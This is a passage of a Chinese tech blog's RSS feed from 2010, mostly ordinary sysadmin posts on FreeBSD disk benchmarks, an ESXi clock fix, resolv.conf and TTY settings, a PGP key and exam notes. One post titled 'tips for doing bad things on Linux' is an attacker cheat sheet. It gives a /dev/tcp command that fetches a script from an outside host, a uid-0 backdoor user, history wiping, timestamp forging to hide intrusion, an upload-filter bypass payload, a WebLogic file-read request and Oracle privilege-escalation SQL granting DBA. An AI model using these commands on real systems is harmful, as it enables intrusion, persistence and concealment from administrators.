    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;inside:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="number">102400</span><span>&nbsp;kbytes&nbsp;</span><span class="keyword">in</span><span>&nbsp;&nbsp;&nbsp;</span><span class="number">0.993947</span><span>&nbsp;sec&nbsp;=&nbsp;&nbsp;&nbsp;</span><span class="number">103024</span><span>&nbsp;kbytes/sec</span></span></li>
</ol>
</div>
<div contenteditable="false" class="python" style="display:none">
<pre>
 #diskinfo -tv da0
da0
        512             # sectorsize
        26843545600     # mediasize in bytes (25G)
        52428800        # mediasize in sectors
        3263            # Cylinders according to firmware.
        255             # Heads according to firmware.
        63              # Sectors according to firmware.
Seek times:
        Full stroke:      250 iter in   3.402582 sec =   13.610 msec
        Half stroke:      250 iter in   3.133905 sec =   12.536 msec
        Quarter stroke:   500 iter in   5.943346 sec =   11.887 msec
        Short forward:    400 iter in   3.128173 sec =    7.820 msec
        Short backward:   400 iter in   2.822509 sec =    7.056 msec
        Seq outer:       2048 iter in   1.325654 sec =    0.647 msec
        Seq inner:       2048 iter in   0.905938 sec =    0.442 msec
Transfer rates:
        outside:       102400 kbytes in   1.252566 sec =    81752 kbytes/sec
        middle:        102400 kbytes in   0.949189 sec =   107882 kbytes/sec
        inside:        102400 kbytes in   0.993947 sec =   103024 kbytes/sec</pre>
</div>
<div contenteditable="false">
<link href="http://www.holmesian.org/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet" /></div>
</div>
<p>&nbsp;</p>
<p>&nbsp;</p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/post/492">ubuntu装新硬盘经历的。。。</a></p><p><a href="http://www.holmesian.org/FreeBSD-oper">FreeBSD命令速记</a></p><p><a href="http://www.holmesian.org/FreeBSD_mysql_GBK">FreeBSD下Mysql的字符集问题</a></p><p><a href="http://www.holmesian.org/double-mysql">同步两MySQL数据库</a></p><p><a href="http://www.holmesian.org/Nginx-apache-ip">Nginx做前端时让Apache能得到真实IP的做法</a></p><p><a href="http://www.holmesian.org/Grep">Grep学习笔记</a></p></div>]]></description>
	<pubDate>Sat, 04 Dec 2010 07:28:53 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/FreeBSD-diskinfo</guid>

</item>
<item>
	<title>在ESXi中运行的客户机时间会变慢</title>
	<link>http://www.holmesian.org/ESXi-guest-time-slow</link>
	<description><![CDATA[<strong style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;word-wrap:break-word;font-weight:700;">故障状态</strong><br style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;word-wrap:break-word;" />
1、当将ESXi做为虚拟机在相应软件上运行时，它的系统时间会走移1天左右；<br style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;word-wrap:break-word;" />
2、NTP服务器无法更正这个问题；<p></p>
<p style="margin-top:5px;margin-right:0px;margin-bottom:5px;margin-left:0px;">尝试过<span class="Apple-style-span" style="border-collapse:separate;color:#000000;font-family:Simsun;font-style:normal;font-variant:normal;font-weight:normal;letter-spacing:normal;line-height:normal;orphans:2;text-indent:0px;text-transform:none;white-space:normal;widows:2;word-spacing:0px;font-size:medium;"><span class="Apple-style-span" style="color:#333333;font-family:Arial;font-size:14px;">安装VMware tools、修改grub</span></span>、定期网络对时等方案，都不太靠谱，时间依旧会慢</p>
<p style="margin-top:5px;margin-right:0px;margin-bottom:5px;margin-left:0px;"><br style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;word-wrap:break-word;" />
<strong style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;word-wrap:break-word;font-weight:700;">故障分析</strong><br style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;word-wrap:break-word;" />
这种问题通常都是由于ESXi的时间戳（TSC）频率是本地APIC时间的1半的倍数，而虚拟机并不在这个影响范围内；<br style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;word-wrap:break-word;" />
<br style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;word-wrap:break-word;" />
<strong style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;word-wrap:break-word;font-weight:700;">解决方案</strong><br style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;word-wrap:break-word;" />
可以通过修改虚拟机的.vmx文件添加如下信息：<br style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;word-wrap:break-word;" />
guestOS="vmkernel"<br style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;word-wrap:break-word;" />
timeTracker.apparentHz=2376000000<br style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;word-wrap:break-word;" />
time.Tracker.apicBusHz=66000000<br style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;word-wrap:break-word;" />
<br style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;word-wrap:break-word;" />
备注：设定timeTracker.apparentHz选项的目的是为了让虚拟机的TSC和主机的APIC同步；</p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/win7-STOP-NCSI">Windows7一个可能泄漏隐私的选项</a></p><p><a href="http://www.holmesian.org/asp-access-change">ASP操作ACCESS结构</a></p><p><a href="http://www.holmesian.org/asp-study">三个ASP问题</a></p><p><a href="http://www.holmesian.org/samsung_network">三星手机无法上网的解决办法</a></p><p><a href="http://www.holmesian.org/post/475">让ubuntu完美播放RMVB</a></p><p><a href="http://www.holmesian.org/Freebsd_apache_die">APache假死问题</a></p></div>]]></description>
	<pubDate>Fri, 03 Dec 2010 15:30:47 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/ESXi-guest-time-slow</guid>

</item>
<item>
	<title> Ubuntu10.04的resolv.conf会重置的解决办法</title>
	<link>http://www.holmesian.org/NetworkManager-resolv_conf</link>
	<description><![CDATA[<p>在Ubuntu10.04下默认使用NetworkManager，每次更换网络环境：如更换无线接入热点，更换所在局域网设置，更换拨号等等。NetworkManager都会有独立的一套设置保存着。这也就意味着每次重新连接网络resolv.conf文件就将被重写:无论之前的resolv.conf中是什么内容，都将被先清空然后在加上&ldquo;# Generated by NetworkManager&rdquo;字样和相应环境的nameserver设置。这本来没有多大问题，但是当我启用了dnsmasq来加速DNS解析，或者是我一直想用一个固定的DNS服务器，又或者是我的网络在NetworkManager中没有设置DNS服务器的时候就会遇到一些麻烦。</p>
<p>要禁止NetworkManager重置resolv.conf文件可以这样：</p>
<p>修改好相应的resolv.conf之后用</p>
<div class="HighLighter" contenteditable="false">
<div contenteditable="false" class="dp-highlighter">
<div class="bar">&nbsp;</div>
<ol start="1" class="dp-py">
    <li class="alt"><span><span>sudo chattr +i /etc/resolv.conf</span></span></li>
</ol>
</div>
<div contenteditable="false" class="python" style="display:none">
<pre>
sudo chattr +i /etc/resolv.conf</pre>
</div>
<div contenteditable="false">
<link href="http://www.holmesian.org/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet" /></div>
</div>
<p>命令将resolv.conf文件变成只读，这样NetworkManager就不能修改resolv.conf文件了。</p>
<p>（另外可以将sudo chattr +i /etc/resolv.conf加到/etc/rc.local里面的exit 0之前的任何位置）</p>
<p></p>
<p>对于想使用dnsmasq来加速DNS解析的情况，还有另外一种相对柔和一点的方法把127.0.0.1加入到DNS服务器列表中</p>
<div class="HighLighter" contenteditable="false">
<div contenteditable="false" class="dp-highlighter">
<div class="bar">&nbsp;</div>
<ol start="1" class="dp-py">
    <li class="alt"><span><span>#设置优先的DNS服务器</span></span></li>
    <li><span>sudo cp /etc/resolv.conf /etc/resolv.conf.auto</span></li>
    <li class="alt"><span>sudo gedit /etc/dhcp3/dhclient.conf </span></li>
    <li>&nbsp;</li>
    <li class="alt"><span>#在最前面加上prepend domain-name-servers <span class="number">127.0</span><span>.</span><span class="number">0.1</span><span>,</span><span class="number">8.8</span><span>.</span><span class="number">8.8</span><span>;</span></span></li>
</ol>
</div>
<div contenteditable="false" class="python" style="display:none">
<pre>
设置优先的DNS服务器
sudo cp /etc/resolv.conf /etc/resolv.conf.auto
sudo gedit /etc/dhcp3/dhclient.conf 

在最前面加上prepend domain-name-servers 127.0.0.1,8.8.8.8;</pre>
</div>
<div contenteditable="false">
<link href="http://www.holmesian.org/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet" /></div>
</div>
<p>&nbsp;</p>
<p>嗯，这么一来就Happy多了。</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>
<meta http-equiv="content-type" content="text/html; charset=utf-8">
<meta http-equiv="content-type" content="text/html; charset=utf-8" /></meta>
</p>
<p>&nbsp;</p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/ubuntu-VirtualBox-upgrade">ubuntu升级后VirtualBox新问题</a></p><p><a href="http://www.holmesian.org/ubuntu-desktop-3d">终于解决ubuntu的3D桌面问题</a></p><p><a href="http://www.holmesian.org/FireFox_FLash">搞定Ubuntu9.04+FireFox下FLash安装问题</a></p><p><a href="http://www.holmesian.org/Ubuntu_tcpdump">Ubuntu下的抓包工具tcpdump</a></p><p><a href="http://www.holmesian.org/win7-isatap-devcon">删除win7中多余的本地连接</a></p><p><a href="http://www.holmesian.org/ubuntu-start-up">关注Ubuntu启动慢</a></p></div>]]></description>
	<pubDate>Fri, 26 Nov 2010 01:49:05 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/NetworkManager-resolv_conf</guid>

</item>
<item>
	<title>Linux下做坏事的Tips</title>
	<link>http://www.holmesian.org/Hacking-Linux-Tips</link>
	<description><![CDATA[<p>刚才将php-cgi和Nginx的连接方式换成Unix Sock，性能应该稍微好一点了。</p>
<p>&nbsp;</p>
<p>下面是一些不错的在Linux下做坏事的Tips：</p>
<p>
<meta http-equiv="content-type" content="text/html; charset=utf-8" /></p>
<p></p>
<p>1.无wget nc等下载工具时下载文件<br />
exec 5&lt;&gt;/dev/tcp/yese.yi.org/80 &amp;&amp;echo -e &quot;GET /c.pl HTTP/1.0\n&quot; &gt;&amp;5 &amp;&amp; cat&lt;&amp;5 &gt; c.pl<br />
<br />
2.Linux添加uid为0的用户<br />
useradd -o -u 0 cnbird<br />
<br />
3.bash去掉history记录<br />
export HISTSIZE=0<br />
export HISTFILE=/dev/null<br />
<br />
4.SSH反向链接<br />
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip -p 指定远端服务器SSH端口<br />
然后服务器上执行ssh localhost&nbsp;&nbsp;-p 44即可<br />
<br />
5.weblogic本地读取文件漏洞<br />
curl -H &quot;wl_request_type: wl_xml_entity_request&quot; -H &quot;xml-registryname: ../../&quot; -H &quot;xml-entity-path: config.xml&quot; http://server/wl_management_internal2/wl_management<br />
<br />
6.apache查看虚拟web目录<br />
./httpd -t -D DUMP_VHOSTS<br />
<br />
7.cvs渗透技巧<br />
CVSROOT/passwd&nbsp;&nbsp; UNIX SHA1的密码文件<br />
CVSROOT/readers<br />
CVSROOT/writers<br />
CVS/Root&nbsp;&nbsp;&nbsp;<br />
CVS/Entries&nbsp;&nbsp;&nbsp;&nbsp; 更新的文件和目录内容<br />
CVS/Repository<br />
<br />
8.Cpanel路径泄露<br />
/3rdparty/squirrelmail/functions/plugin.php<br />
<br />
9.修改上传文件时间戳(掩盖入侵痕迹)<br />
touch -r 老文件时间戳 新文件时间戳<br />
<br />
10.利用baidu和google搜索目标主机webshell<br />
intitle:PHPJackal 1t1t<br />
<br />
11.包总补充<br />
创建临时&ldquo;隐藏&rdquo;目录 mkdir /tmp/...<br />
/tmp/...目录在管理员有宿醉的情况下是&ldquo;隐藏&rdquo;的，可以临时放点exp啥的<br />
<br />
12.利用linux输出绕过gif限制的图片<br />
printf &quot;GIF89a\x01\x00\x01\x00&lt;?php phpinfo();?&gt;&quot; &gt; poc.php<br />
<br />
13.读取环境变量对于查找信息非常有帮助<br />
/proc/self/environ<br />
<br />
14.最新的ORACLE 11提升用户权限(只要session权限)<br />
DBMS_JVM_EXP_PERMS 中的IMPORT_JVM_PERMS<br />
<br />
判断登陆权限<br />
select * from session_privs;<br />
Create SESSION<br />
<br />
select * from session_roles;<br />
<br />
select TYPE_NAME, NAME, ACTION FROM SYS.DBA_JAVA_POLICY Where GRANTEE = 'GREMLIN(用户名)';<br />
<br />
DESC JAVA$POLICY$<br />
<br />
DECLARE<br />
POL DBMS_JVM_EXP.TEMP_JAVA_POLICY;<br />
CURSOR C1 IS Select 'GRANT' USER(), 'SYS', 'java.io.FilePermission', '&lt;&lt;ALL FILES&gt;&gt;', 'execute', 'ENABLE' FROM DUAL;<br />
BEGIN<br />
OPEN C1;<br />
FETCH C1 BULK COLLECT INTO POL;<br />
CLOSE C1;<br />
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);<br />
END;<br />
/<br />
<br />
connect / as sysdba<br />
COL TYPE_NAME FOR A30;<br />
COL NAME FOR A30;<br />
COL_ACTION FOR A10;<br />
Select TYPE_NAME, NAME, ACTION FROM SYS.DBA_JAVA_POLICY Where GRANTEE = '用户';<br />
<br />
connect 普通用户<br />
set serveroutput on<br />
exec dbms_java.set_output(10000);<br />
<br />
Select DBMS_JAVA.SET_OUTPUT_TO_JAVA('ID', 'oracle/aurora/rdbms/DbmsJava', 'SYS', 'writeOutputToFile', 'TEXT', NULL, NULL, NULL, NULL,0,1,1,1,1,0, 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;'BEGIN EXECUTE IMMEDIATE ''GRANT DBA TO 用户''; END;', 'BEGIN NULL; END;') FROM DUAL;<br />
<br />
EXEC DBMS_CDC_ISUBSCRIBE.INT_PURGE_WINDOWS('NO_SUCH_SUBSCRIPTION', SYSDATE());<br />
<br />
set role dba;<br />
<br />
select * from session_privs;<br />
<br />
EXEC SYS.VULNPROC('FOO&quot;&#124;&#124;DBMS_JAVA.SET_OUTPUT_TO_SQL(&quot;ID&quot;,&quot;DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE&quot;&quot;GRANT DBA TO PUBLIC&quot;&quot;;DBMS_OUTPUT.PUT_LINE(:1);END;&quot;,&quot;TEXT&quot;)&#124;&#124;&quot;BAR');<br />
<br />
Select DBMS_JAVA.RUNJAVA('oracle/aurora/util/Test') FROM DUAL;<br />
SET ROLE DBA;<br />
<br />
15. webLogic渗透技巧<br />
四. Weblogin Script Tool(WLST)<br />
<br />
写入到&lt;Domain_home&gt;\\config\\config.xml<br />
<br />
1.进行修改:<br />
&lt;bea_home&gt;\wlserver_10.0\server\bin\setWLSenv.sh<br />
2.启动WLST<br />
java weblogic.WLST<br />
<br />
wls:/offline&gt; connect('admin', 'admin', 't3://127.0.0.1:7001')<br />
wls:/bbk/serverConfig&gt; help()<br />
<br />
wls:/bbk/serverConfig&gt; edit()<br />
wls:/bbk/serverConfig&gt; cd('Servers')<br />
wls:/bbk/serverConfig/Server-cnbird&gt; cd('Log')<br />
wls:/bbk/serverConfig/Server-cnbird/log&gt; cd('Server-cnbird')<br />
wls:/bbk/serverConfig/Server-cnbird/log/Server-cnbird&gt; startEdit()<br />
wls:/bbk/serverConfig/Server-cnbird/log/Server-cnbird !&gt; set('FileCount', '4')<br />
wls:/bbk/serverConfig/Server-cnbird/log/Server-cnbird !&gt; save()<br />
wls:/bbk/serverConfig/Server-cnbird/log/Server-cnbird !&gt; activate() 提交对应Active Change<br />
wls:/bbk/serverConfig/Server-cnbird/log/Server-cnbird !&gt; disconnect()<br />
wls:/offline&gt; exit()<br />
<br />
3.批处理:<br />
保存以上命令为cnbird.py<br />
connect('admin', 'admin', 't3://127.0.0.1:7001')<br />
cd('Servers')<br />
cd('Log')<br />
cd('Server-cnbird')<br />
startEdit()<br />
set('FileCount', '4')<br />
save()<br />
然后执行java weblogic.WLST cnbird.py</p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/Linux_0Day">Linux通杀0Day（2010年10月19日）</a></p><p><a href="http://www.holmesian.org/FreeBSD-Linux-mv">Unix和Linux下的改名命令-mv</a></p><p><a href="http://www.holmesian.org/linux-on-web">太惊讶了，在Web上运行的Linux系统</a></p><p><a href="http://www.holmesian.org/FreeBSD_chmod">关于Linux和Unix系统下权限的理解</a></p><p><a href="http://www.holmesian.org/awk_bakcup">Linux Unix下自动备份网站的脚本</a></p><p><a href="http://www.holmesian.org/ubuntu-aircrack-ng">Ubuntu下使用aircrack-ng</a></p></div>]]></description>
	<pubDate>Sun, 21 Nov 2010 04:35:04 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/Hacking-Linux-Tips</guid>

</item>
<item>
	<title>我的PGP公钥</title>
	<link>http://www.holmesian.org/My-PGP-Publick-Key</link>
	<description><![CDATA[<p>RT</p>
<p>http://keyserver.ubuntu.com:11371/pks/lookup?op=vindex&amp;search=0x4B1CE01414C7A1BB</p>
<p>&nbsp;</p>
<p>
<meta content="text/html; charset=utf-8" http-equiv="content-type"><span style="font-family: 文泉驿正黑; font-size: medium;" class="Apple-style-span"><span style="font-family: monospace; white-space: pre;" class="Apple-style-span">-----BEGIN PGP PUBLIC KEY BLOCK-----</span>
<pre>
Version: SKS 1.0.10

mQGiBEppAxsRBADhuuVNpQkPpVL7/Q1yA7FCI/TV67Wfbzs1Flxk0W4kHdgV8TcROHvZUVMk
6bFTrREQBNeGgJ6q+daETP96MjtLokF13r8dPHfN1TH0OOsiKNGxHed23YmC0b4Qqu0U+SJW
/RnrHQMo3jZG+tCfEnvpsVawHPLSmPdTQFmFWZ5G8wCg//AsrZR1pi7bs2t7h9aiyvx35/ED
/3lACw0ZFuDAKvW9n7GMTc0PmXsaibOVmtz26y8cNDtoOFU00pspePjdZr9l2lUtHFTORU6T
0QC56kzu32ANaoaupkD3twm710deOZ2nqYhd2h+tvUCGKfcQzEPQAtAj2vMau9CudRj1d8ae
J6o8XXzNjMM04PZ6ZeSC1m+5YuXfBACxo85xUQNRqS0mUrMAlgSDx1oc60Jo22wmH26HMEiS
XSv6uCff/UiS221ALPkCW4en249owTwxTl1/1S2yv0Jc6zVBvhviyjyeCNomdtGGY3FtzvnN
fCrh16xlFhl6eqQTbviFngotBE6C1IHkJFp/Gr/e2EEcLOGExcR2TIjYMrQJSG9sbWVzaWFu
iEwEEBECAAwFAkppAxsCCwMCGQEACgkQSxzgFBTHobuBoACffY+jTlsO1XMIgKYlgmneupYI
5mEAn17sN1DfgH+pPYL4ZbFZ9oOHmHLktC5TSG9sbWVzaWFuIChNeSBQR1Aga2V5KSA8U0hv
bG1lc2lhbkBnbWFpbC5jb20+iGIEExECACIFAkznm3UCGyMGCwkIBwMCBhUIAgkKCwQWAgMB
Ah4BAheAAAoJEEsc4BQUx6G7UWsAoLo27/kOT3lb0qNQBdxh3VS6z91pAKD6GBW9HWQZJL8+
pTx7Vw5r35KWVrkCDQRKaQMbEAgA9kJXtwh/CBdyorrWqULzBej5UxE5T7bxbrlLOCDaAadW
oxTpj0BV89AHxstDqZSt90xkhkn4DIO9ZekX1KHTUPj1WV/cdlJPPT2N286Z4VeSWc39uK50
T8X8dryDxUcwYc58yWb/Ffm7/ZFexwGq01uejaClcjrUGvC/RgBYK+X0iP1YTknbzSC0neSR
BzZrM2w4DUUdD3yIsxx8Wy2O9vPJI8BD8KVbGI2Ou1WMuF040zT9fBdXQ6MdGGzeMyEstSr/
POGxKUAYEY18hKcKctaGxAMZyAcpesqVDNmWn6vQClCbAkbTCD1mpF1Bn5x8vYlLIhkmuqui
XsNV6TILOwACAgf/Q2vtFclshNt/+3cMMaewTFmf8wT6HEVizgXRW/bsY1Dlapzi/QyNSeOB
lmEg2CBW676W+4XCKa8UtpgxCXtO3y63S5oWAqbElXFNXwBsA+ckBlkPAQXJMAHDIxtMLBmC
i/xSEP3krQ1QG7dviEltKrxH73+/Ls2zpFCfT7vnAwng5NP/NhOLR79OGJVxzonlTlWP6PFg
VAbjeoRDExg0KvTvP5VgMXfC+feODcdZLBYREoViqcAaxIOtSotxuC/A9p8jsIrFT3zzgQMN
ogWj/l+06eUIKBf/Qsl2Zr1sMiHy0eckuZYeffhOqC+ngzIXJyEYzYoc9nFC70HqJ9lHA4hG
BBgRAgAGBQJKaQMbAAoJEEsc4BQUx6G7PVcAn2Pbg7Yp495LHBiXWThQ4VGs34piAJ9gAFZM
kwqXqeq3PZPg2x9QXAs/ZQ==
=2jjs
-----END PGP PUBLIC KEY BLOCK-----</pre>
</span></meta>
</p>]]></description>
	<pubDate>Sat, 20 Nov 2010 11:24:52 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/My-PGP-Publick-Key</guid>

</item>
<item>
	<title>Ubuntu 10.04关闭不需要的TTY</title>
	<link>http://www.holmesian.org/Ubuntu-tty</link>
	<description><![CDATA[<p>&nbsp;上次跟颜TX说道关闭Ubuntu下多余的虚拟控制台（TTY）的时候突然忘记相关的配置在哪里了，当时找了一个看上去挺像的配置文件修改之后重启发现没有效果，于是乎上网查了一下说是在&nbsp;/etc/event.d/ 下面会有tty1 tty2等一系列文件，其实在稍微新一点的Ubuntu版本中早就没有&nbsp;/etc/event.d/这个位置了，取而代之的是/etc/init/目录，所以要关闭相应的虚拟控制台只需要将/etc/init/目录下的tty[1-6]文件中启动控制台的最后两行注释掉或者是直接将不需要的控制台删除掉就OK了。</p>
<p>当然，在删除之前作一下备份是一个良好的习惯。</p>
<p></p>
<pre class="brush:shell; toolbar: true; auto-links: true;">root@holmesian-laptop:/etc/init# ls -lha |grep tty
-rw-r--r--   1 root root  228 2010-04-02 03:35 tty1.conf
-rw-r--r--   1 root root  213 2010-04-02 03:35 tty2.conf</pre><p></p>
<p>此外如果要在不重启Ubuntu的情况下直接关闭相应的虚拟控制台用以下命令即可</p>
<p>&nbsp;<pre class="brush:shell; toolbar: true; auto-links: true;">sudo stop tty[123456]</pre></p>
<p>PS：这次在/etc/init/目录下我发现了ssh.conf这个配置文件，在/etc/init目录下的东西应该都是系统启动的时候都会相应执行的内容，所以即使之前我在/etc/rc2.d中删除了所有与sshd有关的链接Ubuntu每次开机依然会自动启动SSHD服务打开22端口因为是由于这个/etc/init/目录下的ssh.conf文件导致的了。</p>
<p>
<meta http-equiv="content-type" content="text/html; charset=utf-8"></p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/post/460">修复无法启动的RPC服务</a></p><p><a href="http://www.holmesian.org/MySQL-BinLog">MySQL服务器的log-bin功能</a></p><p><a href="http://www.holmesian.org/Winsocks">有关Winsock的一个问题</a></p><p><a href="http://www.holmesian.org/post/73">无法删除桌面快捷方式的解决方法</a></p><p><a href="http://www.holmesian.org/XP-boot-up">减少你的Windows系统启动时间</a></p><p><a href="http://www.holmesian.org/FreeBSD_apache_error">FreeBSD下Apache卡死问题的解决方法</a></p></div>]]></description>
	<pubDate>Sat, 20 Nov 2010 08:44:45 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/Ubuntu-tty</guid>

</item>
<item>
	<title>BoBlog换域名或链接后批量修改文章内链接</title>
	<link>http://www.holmesian.org/boblog-links-chaged</link>
	<description><![CDATA[<p>用了一段时间某个域名之后可能会由于某些情况更换了使用的域名（如有一段时间很多站长疯狂地抛弃手中的cn域名转向其他的域名）或者是更改了博客所在的路径（如从holmesian.org转移到holmesian.org、从www.holmesian.org转到www. &nbsp;holmesian.org/blog等）。那么曾经在文章中的一些内链就会坏死或者存在问题，而且对于搜索引擎来说holmesian.org和www.holmesian.org两个不同的页面，如果两个域名下都是相同的内容的话就容易被搜索引擎判定为重复内容，从而降低相应页面的权重。</p>
<p>我们不可能对之前文章中用过内链的文章手工一一进行修改，所有这个时候就需要直接用后台数据维护中的mysql功能直接修改之前文章的内容了</p>
<p>例如依次运行下面的语句可以将之前文章中所有的holmesian.org统一更换成www. holmesian.org</p>
<div class="HighLighter" contenteditable="false">
<div contenteditable="false" class="dp-highlighter">
<div class="bar">&nbsp;</div>
<ol start="1" class="dp-py">
    <li class="alt"><span><span>update boblog_blogs set content = replace(content,</span><span class="string">'www.holmesian.org'</span><span>,</span><span class="string">'holmesian.org'</span><span>);</span></span></li>
</ol>
</div>
<div contenteditable="false" class="python" style="display:none">
<pre>
update boblog_blogs set content = replace(content,'www.holmesian.org','holmesian.org');
update boblog_blogs set content = replace(content,'holmesian.org','www.holmesian.org');</pre>
</div>
<div contenteditable="false">
<link href="http://www.holmesian.org/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet" /></div>
</div>
<div class="HighLighter" contenteditable="false">
<div contenteditable="false" class="dp-highlighter">
<div class="bar">&nbsp;</div>
<ol start="1" class="dp-py">
    <li class="alt"><span><span>update boblog_blogs set content = replace(content,</span><span class="string">'holmesian.org'</span><span>,</span><span class="string">'www.holmesian.org'</span><span>);</span></span></li>
</ol>
</div>
<div contenteditable="false" class="python" style="display:none">
<pre>
update boblog_blogs set content = replace(content,'holmesian.org','www.holmesian.org');</pre>
</div>
<div contenteditable="false">
<link href="http://www.holmesian.org/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet" /></div>
</div>
<p>成功执行之后检查一下是否所有的链接都修改完成即可。</p>
<p>其他类似的修改可以稍微修改一下以上的红色部分的内容即可，总之修改mysql数据库之前务必做好备份，本人不对任何由于上述操作不当引起的问题负责。</p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/free">最新免费域名</a></p><p><a href="http://www.holmesian.org/boblog2emlog">BoBlog完美转换到最新的EMLOG 4</a></p><p><a href="http://www.holmesian.org/post/351">查询主机IP上绑定的域名数量</a></p><p><a href="http://www.holmesian.org/WWSP">免费空间域名</a></p><p><a href="http://www.holmesian.org/Holmesian_cn_org">今天起Holmeian Blog启用新域名</a></p><p><a href="http://www.holmesian.org/post/479">ubuntu转换迅雷／旋风链接</a></p></div>]]></description>
	<pubDate>Sat, 20 Nov 2010 01:54:50 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/boblog-links-chaged</guid>

</item>
<item>
	<title>2011年考研政治大题、政经实用技巧</title>
	<link>http://www.holmesian.org/zhengzhi-kaoyan-muban</link>
	<description><![CDATA[<p>貌似是一些比较老有几年的所谓内部资料了，虽然网上年年都说是最新的考研政治大题答题模板之类的，差不多都是一样的，还有几道简单计算题的模板。</p>
<p>虽然东西有些年级但是内容看上去确实是相当有用的，在考研政治大题里多参照一点下面的表述估计看起来答案会靠谱一些，留着这里mark了。需要的TX拿去吧</p>
<p></p>
<p>世经：&nbsp;</p>
<div>1、（关键词）国际新秩序6句&nbsp;</div>
<div>美国3句：&nbsp;</div>
<div>美国打着建立新秩序旗号，实际是维护旧秩序；&nbsp;</div>
<div>国际旧秩序的实质就是国与国之间地位的不平等，少数资本主义国家剥削、压迫多数发展中国家；&nbsp;</div>
<div>所谓美国的领导，就是维护这种不平等。&nbsp;</div>
<div>中国3句：&nbsp;</div>
<div>中国的主张与国际旧秩序完全对立，倡导国家的平等和国家之间关系的民主、文明，符合世界和平、共同发展的方向，是建立国际新秩序的正确主张；&nbsp;</div>
<div>中国的主张符合联合国的宗旨和原则，代表了世界各国人民的意愿和利益；&nbsp;</div>
<div>和平共处五项原则内容是相互联系的，核心是互相尊重主权和领土完整，本质是反对侵略和扩张，维护国家的独立自主权利。&nbsp;</div>
<div>2、（关键词）经济全球化2句&nbsp;</div>
<div>北方发达国家1句：&nbsp;</div>
<div>在经济全球化进程中南北国家的发展存在严重的差距，其根源是不公正不合理的国际旧秩序。&nbsp;</div>
<div>3.中国1句话：&nbsp;</div>
<div>全球化是必然的、利大于弊；所以我们要顺应历史潮流，抓住全球化的机遇，以积极的态度走向世界，全面提高对外开放水平，将&ldquo;引进来&rdquo;与&ldquo;走出去&rdquo;的有机结合，努力在走出去方面取得了进展。&nbsp;</div>
<div>其他的关键词，霸权主义新表现、一超多级的国际政治新格局、世界多极化，这3个字眼一定要塞进去，不管题目有没提到！</div>
